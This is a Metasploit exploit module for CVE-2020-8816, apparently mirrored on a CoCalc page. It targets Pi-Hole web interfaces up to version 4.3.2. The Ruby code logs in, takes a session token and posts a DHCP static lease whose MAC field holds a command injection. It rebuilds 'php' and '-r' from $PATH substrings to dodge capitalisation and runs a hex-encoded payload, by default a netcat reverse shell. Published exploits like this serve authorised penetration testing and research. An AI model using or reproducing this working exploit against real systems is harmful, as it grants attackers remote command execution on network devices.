CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/http/pihole_dhcp_mac_exec.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Remote::HTTP::Pihole
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Pi-Hole DHCP MAC OS Command Execution',
17
'Description' => %q{
18
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added
19
with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first
20
in the $PATH due to exploitation constraints. DHCP server is not required to be running.
21
},
22
'License' => MSF_LICENSE,
23
'Author' => [
24
'h00die', # msf module
25
'François Renaud-Philippon <[email protected]>' # original PoC, discovery
26
],
27
'References' => [
28
['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],
29
['CVE', '2020-8816']
30
],
31
'Platform' => ['unix'],
32
'Privileged' => false,
33
'Arch' => ARCH_CMD,
34
'Targets' => [
35
[ 'Automatic Target', {}]
36
],
37
'DisclosureDate' => '2020-03-28',
38
'DefaultTarget' => 0,
39
'DefaultOptions' => {
40
'PAYLOAD' => 'cmd/unix/reverse_netcat'
41
},
42
'Payload' => {
43
'BadChars' => "\x00"
44
},
45
'Notes' => {
46
'Stability' => [CRASH_SAFE],
47
'Reliability' => [REPEATABLE_SESSION],
48
'SideEffects' => [IOC_IN_LOGS],
49
'RelatedModules' => ['exploit/linux/local/pihole_remove_commands_lpe']
50
}
51
)
52
)
53
register_options(
54
[
55
Opt::RPORT(80),
56
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])
57
]
58
)
59
end
60
61
def check
62
begin
63
_version, web_version, _ftl = get_versions
64
65
if web_version.nil?
66
print_error("#{peer} - Could not connect to web service - no response or non-200 HTTP code")
67
return Exploit::CheckCode::Unknown
68
end
69
70
if web_version && Rex::Version.new(web_version) <= Rex::Version.new('4.3.2')
71
vprint_good("Web Interface Version Detected: #{web_version}")
72
return CheckCode::Appears
73
else
74
vprint_bad("Web Interface Version Detected: #{web_version}")
75
return CheckCode::Safe
76
end
77
rescue ::Rex::ConnectionError
78
print_error("#{peer} - Could not connect to the web service")
79
return Exploit::CheckCode::Unknown
80
end
81
CheckCode::Safe
82
end
83
84
def add_static(payload, token)
85
# we don't use vars_post due to the need to have duplicate fields
86
send_request_cgi(
87
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
88
'ctype' => 'application/x-www-form-urlencoded',
89
'method' => 'POST',
90
'keep_cookies' => true,
91
'vars_get' => {
92
'tab' => 'piholedhcp'
93
},
94
'data' => [
95
'AddMAC=',
96
'AddIP=',
97
'AddHostname=',
98
"AddMAC=#{URI.encode_www_form_component(payload)}",
99
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
100
"AddHostname=#{rand_text_alphanumeric(8..12)}",
101
'addstatic=',
102
'field=DHCP',
103
"token=#{URI.encode_www_form_component(token)}"
104
].join('&')
105
)
106
end
107
108
def exploit
109
if check != CheckCode::Appears
110
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
111
end
112
113
begin
114
@macs = []
115
# get cookie
116
res = send_request_cgi(
117
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
118
'keep_cookies' => true
119
)
120
121
# check login
122
res = send_request_cgi(
123
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
124
'keep_cookies' => true,
125
'vars_get' => {
126
'tab' => 'piholedhcp'
127
}
128
)
129
130
# check if we got hit by a login prompt
131
if res && res.body.include?('Sign in to start your session')
132
res = login(datastore['PASSWORD'])
133
fail_with(Msf::Exploit::Failure::BadConfig, 'Incorrect Password') if res.nil?
134
end
135
136
token = get_token('piholedhcp')
137
138
if token.nil?
139
fail_with(Failure::UnexpectedReply, 'Unable to find token')
140
end
141
print_status("Using token: #{token}")
142
143
# from the excellent writeup about the vuln:
144
# The biggest difficulty in exploiting this vulnerability is that the user input is
145
# capitalized through a call to "strtoupper". Because of this, no lower case character
146
# can be used in the resulting injection.
147
148
# we'd like to execute something similar to this:
149
# aaaaaaaaaaaa&&php -r 'PAYLOAD'
150
# however, we need to pull p, h, and r from the system due to all input getting capitalized
151
# this is performed by pulling them from the $PATH which should be something like
152
# /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
153
# first payload we send is to check that this is in the path to verify exploitation is possible
154
mac = rand_text_hex(12).upcase
155
@macs << mac
156
vprint_status("Validating path with MAC: #{mac}")
157
res = add_static("#{mac}$PATH", token)
158
159
# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~
160
env = res.body.match(/value="#{mac}(?<env>.*)">/)
161
if env && env[:env].starts_with?('/opt/pihole')
162
print_good("System env path exploitable: #{env[:env]}")
163
else
164
msg = '/opt/pihole not in path. Exploitation not possible.'
165
if env
166
msg += " Path: #{env[:env]}"
167
end
168
fail_with(Failure::UnexpectedReply, msg)
169
end
170
171
# once we have php -r, we then need to pass a payload. So we do this via php command
172
# exec on hex2bin since our payload in hex caps will still get processed and executed.
173
174
mac = rand_text_hex(12).upcase
175
@macs << mac
176
print_status("Payload MAC will be: #{mac}")
177
shellcode = "#{mac}&&" # mac address, arbitrary
178
shellcode << 'W=${PATH#/???/}&&'
179
shellcode << 'P=${W%%?????:*}&&'
180
shellcode << 'X=${PATH#/???/??}&&'
181
shellcode << 'H=${X%%???:*}&&'
182
shellcode << 'Z=${PATH#*:/??}&&'
183
shellcode << 'R=${Z%%/*}&&$'
184
shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(
185
shellcode << '"'
186
shellcode << payload.encoded.unpack('H*').join('') # hex encode payload
187
shellcode << '"));'
188
shellcode << "'&&"
189
190
vprint_status("Shellcode: #{shellcode}")
191
print_status('Sending Exploit')
192
add_static(shellcode, token)
193
194
# we don't use vars_post due to the need to have duplicate fields
195
ip = '192.168'
196
2.times { ip = "#{ip}.#{rand_text_numeric(1..2).to_i}" } # to_i removes leading zeroes
197
send_request_cgi(
198
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
199
'ctype' => 'application/x-www-form-urlencoded',
200
'keep_cookies' => true,
201
'method' => 'POST',
202
'vars_get' => {
203
'tab' => 'piholedhcp'
204
},
205
'data' => [
206
'AddMAC=',
207
'AddIP=',
208
'AddHostname=',
209
"AddMAC=#{URI.encode_www_form_component(shellcode)}",
210
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", # to_i to remove leading 0s
211
"AddHostname=#{rand_text_alphanumeric(3..8)}",
212
'addstatic=',
213
'field=DHCP',
214
"token=#{URI.encode_www_form_component(token)}"
215
].join('&')
216
)
217
218
# entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf
219
rescue ::Rex::ConnectionError
220
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
221
end
222
end
223
224
def on_new_session(session)
225
super
226
@macs.each do |mac|
227
print_status("Attempting to clean #{mac} from config")
228
session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")
229
end
230
end
231
end
232
233